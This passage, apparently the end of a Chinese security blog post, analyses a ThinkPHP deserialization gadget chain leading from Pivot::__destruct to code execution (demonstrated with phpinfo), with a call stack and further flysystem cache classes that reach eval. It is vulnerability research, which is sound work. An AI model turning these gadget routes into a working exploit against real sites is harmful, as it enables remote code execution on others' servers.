此时也就会到达 default 部分的 $result = call_user_func_array($this->type[$rule], [$value]); 语句了,在调用这个关键方法前可以看一下传入的参数内容👇

image-20220120141839801

最后跟进 Php 类的 display 方法👇

image-20220120141945342

再看一下浏览器,可以发现 phpinfo(); 被成功执行👇

image-20220120143053778

以上为对链条IV的分析。

- 调用栈 -

  • Php.php:103, think\view\driver\Php->display()
  • Validate.php:873, call_user_func_array:{F:\phpEnv\web\php73\tps\vendor\topthink\framework\src\think\Validate.php:873}()
  • Validate.php:873, think\Validate->is()
  • Validate.php:1686, call_user_func_array:{F:\phpEnv\web\php73\tps\vendor\topthink\framework\src\think\Validate.php:1686}()
  • Validate.php:1686, think\Validate->__call()
  • Url.php:429, think\Validate->getDomainBind()
  • Url.php:429, think\route\Url->build()
  • Url.php:505, think\route\Url->__toString()
  • Model.php:564, think\model\Pivot->checkAllowFields()
  • Model.php:614, think\model\Pivot->updateData()
  • Model.php:535, think\model\Pivot->save()
  • Model.php:1059, think\model\Pivot->__destruct()

- 总结 -

总的来说,经过这一系列的分析后,对 thinkphpeval 型序列化链可以从 [可控](可控,(数组)可控)[可控](可控) 延伸到形如 $this->[可控]->[不可控]((字符型)可控) 的形式。如果这么一看其实通过 入口一 可达成的 eval 链还是有不少的,就不再深挖了,简单列出几个罢:

  • vendor/league/flysystem-cached-adapter/src/Storage/Psr6Cache.php 文件 Psr6Cache 类的 save 方法
  • vendor/league/flysystem-cached-adapter/src/Storage/Stash.php 文件 Stash 类的 save 方法

以上都可以通过 $this->[可控]->[不可控]((字符型)可控) 的形式到达最终的 eval


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。也欢迎您共享此博客,以便更多人可以参与。如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。谢谢 !